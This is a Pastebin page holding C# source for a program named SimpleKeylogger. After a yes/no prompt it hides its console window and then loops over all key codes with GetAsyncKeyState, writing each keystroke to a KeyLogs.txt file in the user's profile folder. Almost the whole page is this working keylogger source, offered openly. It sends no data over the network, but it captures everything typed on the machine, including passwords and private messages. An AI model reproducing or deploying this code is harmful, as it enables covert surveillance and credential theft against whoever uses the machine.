Advertisement
szymski

Untitled

Nov 11th, 2015
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.70 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Runtime.InteropServices;
  7. using System.Threading;
  8. using System.Windows.Forms;
  9. using System.IO;
  10. namespace SimpleKeylogger
  11. {
  12. class Program
  13. {
  14. [DllImport("kernel32.dll")]
  15. static extern IntPtr GetConsoleWindow();
  16.  
  17. [DllImport("user32.dll")]
  18. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  19.  
  20. [DllImport("user32.dll")]
  21. public static extern int GetAsyncKeyState(Int32 i);
  22.  
  23. static void Main(string[] args)
  24. {
  25. Console.WriteLine("Do you want to start keylogging? Y/N");
  26. string YesNo = Console.ReadLine();
  27. if (YesNo.Equals("y"))
  28. {
  29. ShowWindow(GetConsoleWindow(), 0);
  30. Start();
  31. }
  32. else
  33. {
  34. Console.WriteLine("Exiting...");
  35. Application.Exit();
  36. }
  37. }
  38. static void Start()
  39. {
  40. while (true)
  41. {
  42. Thread.Sleep(10);
  43. for (Int32 i = 0; i < 255; i++)
  44. {
  45. int keyState = GetAsyncKeyState(i);
  46. if (keyState == 1 || keyState == -32767)
  47. {
  48. Console.WriteLine((Keys)i);
  49. string toStringKeys = Convert.ToString((Keys)i);
  50. File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\KeyLogs.txt", Environment.NewLine + toStringKeys);
  51. break;
  52. }
  53. }
  54. }
  55. }
  56. }
  57. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement